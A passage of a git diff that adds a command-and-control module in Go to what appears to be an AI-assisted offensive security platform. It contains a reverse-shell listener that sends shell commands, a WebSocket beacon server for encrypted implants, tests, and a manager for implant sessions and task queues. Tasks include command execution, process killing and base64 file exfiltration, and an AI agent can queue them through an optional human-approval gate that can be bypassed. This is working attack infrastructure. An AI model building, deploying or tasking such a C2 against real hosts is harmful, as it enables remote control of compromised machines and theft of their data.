fmt.Sprintf("%s\necho %s\n", strings.TrimSpace(cmd), endMark) + c.writeMu.Lock() + _ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second)) + if _, err := c.conn.Write([]byte(wrapped)); err != nil { + c.writeMu.Unlock() + l.reportTaskResult(env.TaskID, startedAt, false, "", "写命令失败: "+err.Error(), "", "") + return + } + c.writeMu.Unlock() + + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + output, err := readUntilMarker(ctx, c.reader, endMark) + if err != nil { + l.reportTaskResult(env.TaskID, startedAt, false, output, "读取结果失败: "+err.Error(), "", "") + return + } + cleaned := cleanShellOutput(output, cmd) + if TaskType(env.TaskType) == TaskTypeDownload { + if errMsg := detectDownloadShellError(cleaned); errMsg != "" { + l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "") + return + } + } + l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "") +} + +// reportTaskResult 适配 Manager.IngestTaskResult，统一报告路径 +func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64, success bool, output, errMsg, blobB64, blobSuffix string) { + _ = l.manager.IngestTaskResult(TaskResultReport{ + TaskID: taskID, + Success: success, + Output: output, + Error: errMsg, + BlobBase64: blobB64, + BlobSuffix: blobSuffix, + StartedAt: startedAtMS, + EndedAt: NowUnixMillis(), + }) +} + +// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。 +// 仅支持 TCP 反弹模式可直接执行的最简任务类型；download 通过 base64 输出文本结果， +// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。 +func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) { + switch t { + case TaskTypeExec, TaskTypeShell: + cmd, _ := payload["command"].(string) + return cmd, true + case TaskTypePwd: + return "pwd 2>/dev/null || cd", true + case TaskTypeLs: + path, _ := payload["path"].(string) + if strings.TrimSpace(path) == "" { + path = "." + } + return "ls -la " + shellQuote(path), true + case TaskTypePs: + return "ps -ef 2>/dev/null || ps aux", true + case TaskTypeKillProc: + pid, _ := payload["pid"].(float64) + if pid <= 0 { + return "", false + } + return fmt.Sprintf("kill -9 %d", int(pid)), true + case TaskTypeCd: + path, _ := payload["path"].(string) + if strings.TrimSpace(path) == "" { + return "", false + } + return "cd " + shellQuote(path) + " && pwd", true + case TaskTypeDownload: + path, _ := payload["remote_path"].(string) + if strings.TrimSpace(path) == "" { + return "", false + } + q := shellQuote(path) + return fmt.Sprintf( + `f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`, + q, + ), true + case TaskTypeExit: + return "exit 0", true + } + return "", false +} + +// readUntilMarker 从 reader 持续读，直到匹配 endMarker；返回去掉标记后的输出 +func readUntilMarker(ctx context.Context, r *bufio.Reader, marker string) (string, error) { + var sb strings.Builder + buf := make([]byte, 4096) + deadline := time.Now().Add(60 * time.Second) + for { + select { + case <-ctx.Done(): + return sb.String(), ctx.Err() + default: + } + if time.Now().After(deadline) { + return sb.String(), fmt.Errorf("timeout") + } + n, err := r.Read(buf) + if n > 0 { + sb.Write(buf[:n]) + if idx := strings.Index(sb.String(), marker); idx >= 0 { + return strings.TrimRight(sb.String()[:idx], "\r\n"), nil + } + } + if err != nil { + return sb.String(), err + } + } +} + +func shellQuote(s string) string { + return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" +} + +// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。 +func detectDownloadShellError(output string) string { + trimmed := strings.TrimSpace(output) + if trimmed == "" { + return "" + } + lower := strings.ToLower(trimmed) + markers := []string{ + "c2_download_err:", + "no such file", + "permission denied", + "is a directory", + "cannot open", + "not a regular file", + } + for _, m := range markers { + if strings.Contains(lower, m) { + return trimmed + } + } + return "" +} + +func isAddrInUse(err error) bool { + if err == nil { + return false + } + return strings.Contains(strings.ToLower(err.Error()), "address already in use") || + strings.Contains(strings.ToLower(err.Error()), "bind: only one usage") +} + +func isClosedConnErr(err error) bool { + if err == nil { + return false + } + es := err.Error() + return strings.Contains(es, "use of closed network connection") || + strings.Contains(es, "connection reset by peer") +} + +// drainStaleData 用短超时读取并丢弃 buffer 中残留的 shell 提示符等数据 +func drainStaleData(r *bufio.Reader, conn net.Conn) { + buf := make([]byte, 4096) + for { + _ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond)) + n, err := r.Read(buf) + if n == 0 || err != nil { + break + } + } + // 恢复较长的读超时 + _ = conn.SetReadDeadline(time.Time{}) +} + +var shellPromptRe = regexp.MustCompile(`(?m)^.*?(bash[\-\d.]*\$|[\$#%>]\s*)$`) + +// cleanShellOutput 过滤 bash 提示符行和命令回显，返回干净的命令输出 +func cleanShellOutput(raw, cmd string) string { + lines := strings.Split(raw, "\n") + var cleaned []string + cmdTrimmed := strings.TrimSpace(cmd) + echoSkipped := false + for _, line := range lines { + trimmed := strings.TrimRight(line, "\r \t") + // 跳过命令回显行（bash 会 echo 回输入的命令） + if !echoSkipped && cmdTrimmed != "" && strings.Contains(trimmed, cmdTrimmed) { + echoSkipped = true + continue + } + // 跳过纯 shell 提示符行 + if shellPromptRe.MatchString(trimmed) && len(strings.TrimSpace(shellPromptRe.ReplaceAllString(trimmed, ""))) == 0 { + continue + } + cleaned = append(cleaned, line) + } + result := strings.Join(cleaned, "\n") + return strings.TrimSpace(result) +} diff --git a/internal/c2/listener_tcp_download_test.go b/internal/c2/listener_tcp_download_test.go new file mode 100644 index 00000000..5b332a71 --- /dev/null +++ b/internal/c2/listener_tcp_download_test.go @@ -0,0 +1,43 @@ +package c2 + +import ( + "strings" + "testing" +) + +func TestDetectDownloadShellError(t *testing.T) { + tests := []struct { + name string + output string + want string + }{ + {name: "empty ok", output: "", want: ""}, + {name: "base64 ok", output: "aGVsbG8=", want: ""}, + {name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"}, + {name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"}, + {name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := detectDownloadShellError(tt.output) + if got != tt.want { + t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want) + } + }) + } +} + +func TestBuildTCPCommandDownload(t *testing.T) { + cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{ + "remote_path": "/tmp/demo.txt", + }) + if !ok { + t.Fatal("expected download command to be supported") + } + if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) { + t.Fatalf("command %q should contain %q", cmd, want) + } + if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") { + t.Fatalf("command should validate file before base64: %q", cmd) + } +} diff --git a/internal/c2/listener_websocket.go b/internal/c2/listener_websocket.go new file mode 100644 index 00000000..da7f85db --- /dev/null +++ b/internal/c2/listener_websocket.go @@ -0,0 +1,297 @@ +package c2 + +import ( + "context" + "crypto/subtle" + "encoding/json" + "errors" + "fmt" + "net" + "net/http" + "sync" + "time" + + "cyberstrike-ai/internal/database" + + "github.com/gorilla/websocket" + "go.uber.org/zap" +) + +// WebSocketListener 提供低延迟的双向 WebSocket Beacon。 +// 与 HTTP Beacon 相比： +// - beacon 与服务端保持长连接，无需轮询，新任务可"秒到"； +// - 适合需要交互式快速响应的场景（如实时键盘 / 流式输出）； +// - 协议依然走 AES-256-GCM，握手时校验 X-Implant-Token； +// - 一个 listener 仅处理一个 WS 路径（默认 /ws），但可承载多个并发 implant。 +// +// 帧协议（皆为加密后 base64 字符串走 TextMessage）： +// client → server：{"type":"checkin"|"result", "data": } +// server → client：{"type":"task", "data": } 或 {"type":"sleep","data":{"sleep":N,"jitter":J}} +type WebSocketListener struct { + rec *database.C2Listener + cfg *ListenerConfig + manager *Manager + logger *zap.Logger + + srv *http.Server + upgrader websocket.Upgrader + + mu sync.Mutex + conns map[string]*wsConn // session_id → 连接 + stopped bool + stopCh chan struct{} +} + +// wsConn 单个 WS implant 的内存状态 +type wsConn struct { + sessionID string + ws *websocket.Conn + writeMu sync.Mutex // websocket 同一连接同一时间只能一个 writer +} + +// NewWebSocketListener 工厂（注册到 ListenerRegistry["websocket"]） +func NewWebSocketListener(ctx ListenerCreationCtx) (Listener, error) { + return &WebSocketListener{ + rec: ctx.Listener, + cfg: ctx.Config, + manager: ctx.Manager, + logger: ctx.Logger, + stopCh: make(chan struct{}), + conns: make(map[string]*wsConn), + upgrader: websocket.Upgrader{ + ReadBufferSize: 4096, + WriteBufferSize: 4096, + // 允许任意 Origin（implant 不带 Origin 或随便填） + CheckOrigin: func(r *http.Request) bool { return true }, + }, + }, nil +} + +// Type 类型 +func (l *WebSocketListener) Type() string { return string(ListenerTypeWebSocket) } + +// Start 启动 HTTP server 接收 WS 升级 +func (l *WebSocketListener) Start() error { + mux := http.NewServeMux() + wsPath := l.cfg.BeaconCheckInPath + if wsPath == "" || wsPath == "/check_in" { + // websocket 默认路径单独定义，避免与 HTTP Beacon 默认路径混淆 + wsPath = "/ws" + } + mux.HandleFunc(wsPath, l.handleWS) + + addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort) + ln, err := net.Listen("tcp", addr) + if err != nil { + if isAddrInUse(err) { + return ErrPortInUse + } + return err + } + l.srv = &http.Server{ + Addr: addr, + Handler: mux, + ReadHeaderTimeout: 15 * time.Second, + } + go func() { + if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) { + l.logger.Warn("websocket Serve exited", zap.Error(err)) + } + }() + go l.taskDispatcherLoop() + return nil +} + +// Stop 优雅关闭：通知所有 WS 客户端，关闭 server +func (l *WebSocketListener) Stop() error { + l.mu.Lock() + if l.stopped { + l.mu.Unlock() + return nil + } + l.stopped = true + close(l.stopCh) + conns := make([]*wsConn, 0, len(l.conns)) + for _, c := range l.conns { + conns = append(conns, c) + } + l.conns = make(map[string]*wsConn) + l.mu.Unlock() + for _, c := range conns { + _ = c.ws.WriteControl(websocket.CloseMessage, + websocket.FormatCloseMessage(websocket.CloseGoingAway, "shutdown"), + time.Now().Add(time.Second)) + _ = c.ws.Close() + } + if l.srv != nil { + ctx, cancel := contextWithTimeout(5 * time.Second) + defer cancel() + _ = l.srv.Shutdown(ctx) + } + return nil +} + +func (l *WebSocketListener) handleWS(w http.ResponseWriter, r *http.Request) { + got := r.Header.Get("X-Implant-Token") + if got == "" || l.rec.ImplantToken == "" || + subtle.ConstantTimeCompare([]byte(got), []byte(l.rec.ImplantToken)) != 1 { + http.NotFound(w, r) + return + } + ws, err := l.upgrader.Upgrade(w, r, nil) + if err != nil { + l.logger.Warn("websocket 升级失败", zap.Error(err)) + return + } + go l.handleConn(ws) +} + +// handleConn 处理一个 WS 连接的完整生命周期：等待 checkin → 登记 session → 读循环 +func (l *WebSocketListener) handleConn(ws *websocket.Conn) { + ws.SetReadLimit(64 << 20) + ws.SetReadDeadline(time.Now().Add(60 * time.Second)) + ws.SetPongHandler(func(string) error { + ws.SetReadDeadline(time.Now().Add(60 * time.Second)) + return nil + }) + + // 第一帧必须是 checkin + frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey) + if err != nil || frameType != "checkin" { + _ = ws.Close() + return + } + var req ImplantCheckInRequest + if err := json.Unmarshal(body, &req); err != nil { + _ = ws.Close() + return + } + if req.SleepSeconds <= 0 { + req.SleepSeconds = l.cfg.DefaultSleep + } + session, err := l.manager.IngestCheckIn(l.rec.ID, req) + if err != nil { + _ = ws.Close() + return + } + conn := &wsConn{sessionID: session.ID, ws: ws} + l.mu.Lock() + l.conns[session.ID] = conn + l.mu.Unlock() + defer func() { + l.mu.Lock() + delete(l.conns, session.ID) + l.mu.Unlock() + _ = ws.Close() + _ = l.manager.MarkSessionDead(session.ID) + }() + + // 心跳 goroutine + pingTicker := time.NewTicker(20 * time.Second) + defer pingTicker.Stop() + go func() { + for { + select { + case <-l.stopCh: + return + case <-pingTicker.C: + conn.writeMu.Lock() + _ = ws.WriteControl(websocket.PingMessage, nil, time.Now().Add(5*time.Second)) + conn.writeMu.Unlock() + } + } + }() + + // 主读循环：处理 result 等帧 + for { + frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey) + if err != nil { + return + } + switch frameType { + case "result": + var report TaskResultReport + if err := json.Unmarshal(body, &report); err == nil { + _ = l.manager.IngestTaskResult(report) + } + case "checkin": + // 心跳更新：beacon 周期性送上心跳 + var hb ImplantCheckInRequest + if err := json.Unmarshal(body, &hb); err == nil { + _ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now()) + } + } + } +} + +// taskDispatcherLoop 周期扫描所有活动 WS 会话，下发任务 +func (l *WebSocketListener) taskDispatcherLoop() { + t := time.NewTicker(500 * time.Millisecond) + defer t.Stop() + for { + select { + case <-l.stopCh: + return + case <-t.C: + l.mu.Lock() + snapshot := make([]*wsConn, 0, len(l.conns)) + for _, c := range l.conns { + snapshot = append(snapshot, c) + } + l.mu.Unlock() + for _, c := range snapshot { + envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 20) + if err != nil || len(envelopes) == 0 { + continue + } + for _, env := range envelopes { + l.sendTaskFrame(c, env) + } + } + } + } +} + +func (l *WebSocketListener) sendTaskFrame(c *wsConn, env TaskEnvelope) { + frame := map[string]interface{}{"type": "task", "data": env} + body, err := json.Marshal(frame) + if err != nil { + return + } + enc, err := EncryptAESGCM(l.rec.EncryptionKey, body) + if err != nil { + return + } + c.writeMu.Lock() + defer c.writeMu.Unlock() + _ = c.ws.SetWriteDeadline(time.Now().Add(10 * time.Second)) + _ = c.ws.WriteMessage(websocket.TextMessage, []byte(enc)) +} + +// readEncryptedFrame 读一帧加密 WS 文本，返回类型和明文 data +func readEncryptedFrame(ws *websocket.Conn, key string) (string, []byte, error) { + mt, raw, err := ws.ReadMessage() + if err != nil { + return "", nil, err + } + if mt != websocket.TextMessage && mt != websocket.BinaryMessage { + return "", nil, errors.New("unexpected ws frame type") + } + plain, err := DecryptAESGCM(key, string(raw)) + if err != nil { + return "", nil, err + } + var env struct { + Type string `json:"type"` + Data json.RawMessage `json:"data"` + } + if err := json.Unmarshal(plain, &env); err != nil { + return "", nil, err + } + return env.Type, env.Data, nil +} + +// contextWithTimeout 简单封装，避免 listener 文件之间反复 import context +func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) { + return context.WithTimeout(context.Background(), d) +} diff --git a/internal/c2/manager.go b/internal/c2/manager.go new file mode 100644 index 00000000..6b0c2adf --- /dev/null +++ b/internal/c2/manager.go @@ -0,0 +1,886 @@ +package c2 + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "path/filepath" + "regexp" + "strings" + "sync" + "time" + + "cyberstrike-ai/internal/database" + + "github.com/google/uuid" + "go.uber.org/zap" +) + +// Manager 是 C2 模块对外的统一门面： +// - HTTP handler / MCP 工具 / 多代理 / 攻击链记录器 全部通过 Manager 操作 C2， +// 不直接接触 listener 实现细节，避免循环依赖； +// - 持有数据库句柄 + 事件总线 + 内存中的 listener 实例 map； +// - 启动期可调用 RestoreRunningListeners() 把 status=running 的 listener 重新拉起。 +// +// 实例化由 internal/app 负责，注入到全局 App 之后再分别交给 handler / mcp. +type Manager struct { + db *database.DB + logger *zap.Logger + bus *EventBus + registry *ListenerRegistry + + mu sync.RWMutex + runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例 + storageDir string // 大结果（截图/下载）落盘根目录 + + hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批（nil 表示不接 HITL） + hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致：为 nil 或返回 false 时不走桥 + hooks Hooks // 扩展挂钩：会话上线 / 任务完成 时通知漏洞库与攻击链 +} + +// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致，供 HITL 白名单与 Agent 侧对齐。 +const MCPToolC2Task = "c2_task" + +var ( + resultBlobSuffixPattern = regexp.MustCompile(`^\.[A-Za-z0-9][A-Za-z0-9_-]{0,31}$`) + uploadTaskIDPattern = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9_-]{0,127}$`) +) + +// HITLBridge 把"危险任务"桥到现有 internal/handler/hitl 审批流的接口。 +// internal/app 实例化时传入；空实现表示禁用 HITL 拦截（开发期方便）。 +type HITLBridge interface { + // RequestApproval 阻塞等待人工审批；返回 nil 表示批准，error 表示拒绝/超时。 + // ctx 携带用户/会话信息；危险任务调用时会创建超时 ctx 避免无限挂起。 + RequestApproval(ctx context.Context, req HITLApprovalRequest) error +} + +// HITLApprovalRequest 待审批的 C2 操作描述 +type HITLApprovalRequest struct { + TaskID string + SessionID string + TaskType string + PayloadJSON string + ConversationID string + Source string + Reason string +} + +// Hooks 给上层（漏洞管理 / 攻击链）注入回调 +type Hooks struct { + OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线 + OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成（success/failed） +} + +// NewManager 创建 Manager；不会启动任何 listener，请显式调 RestoreRunningListeners +func NewManager(db *database.DB, logger *zap.Logger, storageDir string) *Manager { + if logger == nil { + logger = zap.NewNop() + } + if storageDir == "" { + storageDir = "tmp/c2" + } + return &Manager{ + db: db, + logger: logger, + bus: NewEventBus(), + registry: NewListenerRegistry(), + runningListeners: make(map[string]Listener), + storageDir: storageDir, + } +} + +// SetHITLBridge 设置危险任务审批桥；nil 表示禁用 +func (m *Manager) SetHITLBridge(b HITLBridge) { + m.mu.Lock() + m.hitlBridge = b + m.mu.Unlock() +} + +// SetHITLDangerousGate 设置 C2 危险任务是否应走 HITL 桥；须与 Agent 人机协同判定一致（例如 handler.HITLManager.NeedsToolApproval）。 +// gate 为 nil 时，即使已设置桥也不会对危险任务发起审批（与未开启人机协同时其他工具行为一致）。 +func (m *Manager) SetHITLDangerousGate(gate func(conversationID, mcpToolName string) bool) { + m.mu.Lock() + m.hitlDangerousGate = gate + m.mu.Unlock() +} + +// SetHooks 注入业务钩子 +func (m *Manager) SetHooks(h Hooks) { + m.mu.Lock() + m.hooks = h + m.mu.Unlock() +} + +// EventBus 暴露事件总线给 SSE handler +func (m *Manager) EventBus() *EventBus { return m.bus } + +// DB 暴露 DB 句柄给 handler/mcptools 直接读写（避免到处包装） +func (m *Manager) DB() *database.DB { return m.db } + +// Logger 暴露日志句柄 +func (m *Manager) Logger() *zap.Logger { return m.logger } + +// StorageDir 大结果落盘根目录 +func (m *Manager) StorageDir() string { return m.storageDir } + +// Registry 暴露 listener 注册表，便于在 internal/app 启动时按 type 注册具体实现 +func (m *Manager) Registry() *ListenerRegistry { return m.registry } + +// Close 优雅关闭：停掉所有运行中的 listener，关闭事件总线 +func (m *Manager) Close() { + m.mu.Lock() + listeners := make([]Listener, 0, len(m.runningListeners)) + for _, l := range m.runningListeners { + listeners = append(listeners, l) + } + m.runningListeners = make(map[string]Listener) + m.mu.Unlock() + for _, l := range listeners { + _ = l.Stop() + } + m.bus.Close() +} + +// ---------------------------------------------------------------------------- +// Listener 生命周期 +// ---------------------------------------------------------------------------- + +// CreateListenerInput Web/MCP 创建监听器的入参（已校验 + 已 trim） +type CreateListenerInput struct { + Name string + ProjectID string + Type string + BindHost string + BindPort int + ProfileID string + Remark string + Config *ListenerConfig + // CallbackHost 非空时写入 config_json.callback_host，供 Payload 默认回连（不修改 bind） + CallbackHost string +} + +// CreateListener 校验并落库；不自动启动（与 systemd unit 一致：先创建后启动） +func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener, error) { + if strings.TrimSpace(in.Name) == "" { + return nil, ErrInvalidInput + } + if !IsValidListenerType(in.Type) { + return nil, ErrUnsupportedType + } + if err := SafeBindPort(in.BindPort); err != nil { + return nil, &CommonError{Code: "invalid_port", Message: err.Error(), HTTP: 400} + } + bindHost := strings.TrimSpace(in.BindHost) + if bindHost == "" { + bindHost = "127.0.0.1" // 默认绑定环回，需要外网时操作员显式改 + } + cfg := in.Config + if cfg == nil { + cfg = &ListenerConfig{} + } else { + cp := *cfg + cfg = &cp + } + if ch := strings.TrimSpace(in.CallbackHost); ch != "" { + cfg.CallbackHost = ch + } + cfg.ApplyDefaults() + cfgJSON, err := json.Marshal(cfg) + if err != nil { + return nil, fmt.Errorf("marshal listener config: %w", err) + } + keyB64, err := GenerateAESKey() + if err != nil { + return nil, fmt.Errorf("generate key: %w", err) + } + tokenB64, err := GenerateImplantToken() + if err != nil { + return nil, fmt.Errorf("generate token: %w", err) + } + + listener := &database.C2Listener{ + ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14], + ProjectID: strings.TrimSpace(in.ProjectID), + Name: strings.TrimSpace(in.Name), + Type: strings.ToLower(strings.TrimSpace(in.Type)), + BindHost: bindHost, + BindPort: in.BindPort, + ProfileID: strings.TrimSpace(in.ProfileID), + EncryptionKey: keyB64, + ImplantToken: tokenB64, + Status: "stopped", + ConfigJSON: string(cfgJSON), + Remark: strings.TrimSpace(in.Remark), + CreatedAt: time.Now(), + } + if err := m.db.CreateC2Listener(listener); err != nil { + return nil, err + } + m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已创建", listener.Name), map[string]interface{}{ + "listener_id": listener.ID, + "type": listener.Type, + }) + return listener, nil +} + +// StartListener 启动指定 listener；幂等（已运行时返回 ErrListenerRunning） +func (m *Manager) StartListener(id string) (*database.C2Listener, error) { + rec, err := m.db.GetC2Listener(id) + if err != nil { + return nil, err + } + if rec == nil { + return nil, ErrListenerNotFound + } + m.mu.Lock() + if _, ok := m.runningListeners[id]; ok { + m.mu.Unlock() + return rec, ErrListenerRunning + } + m.mu.Unlock() + + cfg := &ListenerConfig{} + if rec.ConfigJSON != "" { + _ = json.Unmarshal([]byte(rec.ConfigJSON), cfg) + } + cfg.ApplyDefaults() + + // 通过工厂创建具体实现。必须使用 rec 的副本：HTTP handler 在返回 JSON 前会清空 + // rec.ImplantToken / EncryptionKey 做脱敏，若 listener 实现持有同一指针会导致 beacon 鉴权永久失败。 + listenerRec := *rec + factory := m.registry.Get(rec.Type) + if factory == nil { + return nil, ErrUnsupportedType + } + inst, err := factory(ListenerCreationCtx{ + Listener: &listenerRec, + Config: cfg, + Manager: m, + Logger: m.logger.With(zap.String("listener_id", rec.ID), zap.String("type", rec.Type)), + }) + if err != nil { + return nil, err + } + if err := inst.Start(); err != nil { + now := time.Now() + _ = m.db.SetC2ListenerStatus(rec.ID, "error", err.Error(), &now) + m.publishEvent("warn", "listener", "", "", fmt.Sprintf("监听器 %s 启动失败: %v", rec.Name, err), map[string]interface{}{ + "listener_id": rec.ID, + }) + return nil, err + } + m.mu.Lock() + m.runningListeners[rec.ID] = inst + m.mu.Unlock() + now := time.Now() + _ = m.db.SetC2ListenerStatus(rec.ID, "running", "", &now) + rec.Status = "running" + rec.StartedAt = &now + rec.LastError = "" + m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已启动", rec.Name), map[string]interface{}{ + "listener_id": rec.ID, + "bind": fmt.Sprintf("%s:%d", rec.BindHost, rec.BindPort), + }) + return rec, nil +} + +// StopListener 停止；幂等（未运行时返回 ErrListenerStopped） +func (m *Manager) StopListener(id string) error { + m.mu.Lock() + inst, ok := m.runningListeners[id] + if ok { + delete(m.runningListeners, id) + } + m.mu.Unlock() + if !ok { + return ErrListenerStopped + } + if err := inst.Stop(); err != nil { + return err + } + _ = m.db.SetC2ListenerStatus(id, "stopped", "", nil) + rec, _ := m.db.GetC2Listener(id) + name := id + if rec != nil { + name = rec.Name + } + m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已停止", name), map[string]interface{}{ + "listener_id": id, + }) + return nil +} + +// DeleteListener 停止并删除（级联 sessions/tasks/files） +func (m *Manager) DeleteListener(id string) error { + _ = m.StopListener(id) + return m.db.DeleteC2Listener(id) +} + +// IsListenerRunning 内存中的运行状态（DB 中的 status 可能因崩溃而过时） +func (m *Manager) IsListenerRunning(id string) bool { + m.mu.RLock() + defer m.mu.RUnlock() + _, ok := m.runningListeners[id] + return ok +} + +// RestoreRunningListeners 启动期把 DB 中 status=running 的 listener 重新拉起； +// 失败的会被改为 status=error，不会阻塞整个 App 启动。 +func (m *Manager) RestoreRunningListeners() { + listeners, err := m.db.ListC2Listeners() + if err != nil { + m.logger.Warn("恢复 C2 listener 失败：列表查询出错", zap.Error(err)) + return + } + for _, l := range listeners { + if l.Status != "running" { + continue + } + if _, err := m.StartListener(l.ID); err != nil && !errors.Is(err, ErrListenerRunning) { + m.logger.Warn("恢复 C2 listener 失败", zap.String("listener_id", l.ID), zap.Error(err)) + } + } +} + +// ---------------------------------------------------------------------------- +// Session 生命周期 +// ---------------------------------------------------------------------------- + +// IngestCheckIn beacon 上线/心跳的统一入口。 +// 行为： +// 1. 若 implant_uuid 已有会话 → 更新心跳/状态 +// 2. 否则创建新会话，触发 OnSessionFirstSeen 钩子 +func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*database.C2Session, error) { + if strings.TrimSpace(req.ImplantUUID) == "" { + return nil, ErrInvalidInput + } + existing, err := m.db.GetC2SessionByImplantUUID(req.ImplantUUID) + if err != nil { + return nil, err + } + now := time.Now() + isFirstSeen := existing == nil + var sessID string + if existing != nil { + sessID = existing.ID + } else { + sessID = "s_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14] + } + session := &database.C2Session{ + ID: sessID, + ListenerID: listenerID, + ImplantUUID: req.ImplantUUID, + Hostname: req.Hostname, + Username: req.Username, + OS: strings.ToLower(req.OS), + Arch: strings.ToLower(req.Arch), + PID: req.PID, + ProcessName: req.ProcessName, + IsAdmin: req.IsAdmin, + InternalIP: req.InternalIP, + UserAgent: req.UserAgent, + SleepSeconds: req.SleepSeconds, + JitterPercent: req.JitterPercent, + Status: string(SessionActive), + FirstSeenAt: now, + LastCheckIn: now, + Metadata: req.Metadata, + } + if existing != nil { + // 保留原 ID/FirstSeenAt/Note 与操作员设置的 sleep/jitter，避免被 beacon 心跳上报覆盖 + session.FirstSeenAt = existing.FirstSeenAt + session.SleepSeconds = existing.SleepSeconds + session.JitterPercent = existing.JitterPercent + if session.Note == "" { + session.Note = existing.Note + } + } + if err := m.db.UpsertC2Session(session); err != nil { + return nil, err + } + if isFirstSeen { + m.publishEvent("critical", "session", session.ID, "", + fmt.Sprintf("新会话上线: %s@%s (%s/%s)", session.Username, session.Hostname, session.OS, session.Arch), + map[string]interface{}{ + "session_id": session.ID, + "listener_id": listenerID, + "hostname": session.Hostname, + "os": session.OS, + "arch": session.Arch, + "internal_ip": session.InternalIP, + }) + m.mu.RLock() + hook := m.hooks.OnSessionFirstSeen + m.mu.RUnlock() + if hook != nil { + go hook(session) + } + } + // 普通心跳：last_check_in 已由 UpsertC2Session 写入 c2_sessions，不再落 c2_events。 + // 否则按 sleep 周期每条心跳一条审计，库表与 SSE 会被迅速撑爆；上线/掉线等仍照常 publishEvent。 + return session, nil +} + +// SetSessionSleep 更新会话期望的心跳间隔，并向植入体下发 sleep 任务以尽快生效。 +func (m *Manager) SetSessionSleep(sessionID string, sleepSeconds, jitterPercent int) (*database.C2Task, error) { + if strings.TrimSpace(sessionID) == "" { + return nil, ErrInvalidInput + } + if sleepSeconds < 1 { + sleepSeconds = 1 + } + if jitterPercent < 0 { + jitterPercent = 0 + } + if jitterPercent > 100 { + jitterPercent = 100 + } + if err := m.db.SetC2SessionSleep(sessionID, sleepSeconds, jitterPercent); err != nil { + return nil, err + } + task, err := m.EnqueueTask(EnqueueTaskInput{ + SessionID: sessionID, + TaskType: TaskTypeSleep, + Payload: map[string]interface{}{ + "seconds": sleepSeconds, + "jitter": jitterPercent, + }, + Source: "manual", + }) + if err != nil { + m.logger.Warn("sleep 任务入队失败", zap.Error(err), zap.String("session_id", sessionID)) + } + m.publishEvent("info", "session", sessionID, "", + fmt.Sprintf("Sleep 已更新: %ds (抖动 %d%%)", sleepSeconds, jitterPercent), + map[string]interface{}{ + "sleep_seconds": sleepSeconds, + "jitter_percent": jitterPercent, + }) + return task, nil +} + +// MarkSessionDead 心跳超时检测器调用：标记会话为 dead +func (m *Manager) MarkSessionDead(sessionID string) error { + if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil { + return err + } + m.publishEvent("warn", "session", sessionID, "", "会话已离线（心跳超时）", nil) + return nil +} + +// ---------------------------------------------------------------------------- +// Task 生命周期 +// ---------------------------------------------------------------------------- + +// EnqueueTaskInput 下发任务入参 +type EnqueueTaskInput struct { + SessionID string + TaskType TaskType + Payload map[string]interface{} + Source string // manual|ai|batch|api + ConversationID string + UserCtx context.Context // 给 HITL 用 + BypassHITL bool // true 表示跳过 HITL 审批（仅供白名单机制 / 系统内部用） +} + +// EnqueueTask 入队一个新任务；若任务类型危险且未 BypassHITL，且 SetHITLDangerousGate 对当前会话与 MCPToolC2Task 返回 true，才会调 HITL 桥审批。 +// 返回任务记录；任务派发由 PopTasksForBeacon 在 beacon 拉任务时完成。 +func (m *Manager) EnqueueTask(in EnqueueTaskInput) (*database.C2Task, error) { + if strings.TrimSpace(in.SessionID) == "" { + return nil, ErrInvalidInput + } + session, err := m.db.GetC2Session(in.SessionID) + if err != nil { + return nil, err + } + if session == nil { + return nil, ErrSessionNotFound + } + if session.Status == string(SessionDead) || session.Status == string(SessionKilled) { + return nil, &CommonError{Code: "session_inactive", Message: "会话已离线，无法下发任务", HTTP: 409} + } + 